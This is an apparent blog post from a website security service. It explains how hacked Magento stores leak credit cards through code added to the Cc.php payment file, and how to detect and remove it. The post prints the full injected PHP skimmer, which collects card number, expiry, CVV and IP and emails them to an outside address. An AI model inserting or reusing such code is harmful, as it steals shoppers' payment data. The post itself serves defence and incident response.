Credit Card Compromises in Magento

On more than a few occasions we have been contacted by someone running a Magento store concerned that credit cards used on the store are getting compromised somehow. In some cases the person running the store is pretty sure it is happening because they tried using a brand new credit card on the store and shortly afterwards attempted charges for other things are made with the card, but they don’t know what could have caused the store to be compromised. In more than a few cases the person running the website has run a PCI scanner on the website and it has found nothing, so they are not sure what is going on. Since we have seen that in every instance so far the store was in fact compromised and with the same cause, we though it worth mentioning the source we have found in those cases. Keep in mind that there could be other causes for this as well.

What we have found is that the compromise of the credit cards through the store has been done by a hacker adding code to the file /app/code/core/Mage/Payment/Model/Method/Cc.php. Below is the code that we found on one website. In this case the first portion of code collects the various pieces of the credit card data and then in the second portion the credit card data is sent off to the email address pacarding@yahoo.co.id.

$owner = $info->getCcOwner();
$ccnumber = $info->getCcNumber();
$expmont = $info->getCcExpMonth();
$expyear = $info->getCcExpYear();
$issue = $info->getCcCid();
$ip=$_SERVER[‘REMOTE_ADDR’];

$today = date(“F j, Y, g:i a”);
$to = “pacarding@yahoo.co.id”;
$subject = “CC-example.com”;
$message=”$owner\n$ccnumber\n$expmont\n$expyear\n$issue\n$ip”;
$from = “CARDING-Fence”;
$headers = “From:” . $from;
mail($to,$subject,$message,$headers);

We have seen various code added, so there isn’t one thing to look for. The easiest way to check for a modification is to download a fresh copy of the version of Magento being used on the website and then do a file comparison of the /app/code/core/Mage/Payment/Model/Method/Cc.php on the website with the version in fresh download to see if changes have been made.

If there is malicious code in that file removing the code should stop the credit card data from being compromised, but you will still need to take a number of other steps. We have found that in some cases other malicious code is added to the website, so anything else added will need to be removed either by removing the code or restoring the website to a clean backup copy. You also need to determine how the website was hacked and fix that, so the website doesn’t get re-hacked. If you don’t have the expertise to do those things we have a service for cleaning up hacked Magento stores. At that point you should also review if you are meeting the security requirement of your credit card processor and check what notification you may need to provide due to the breach.

Leave a Reply

Your email address will not be published.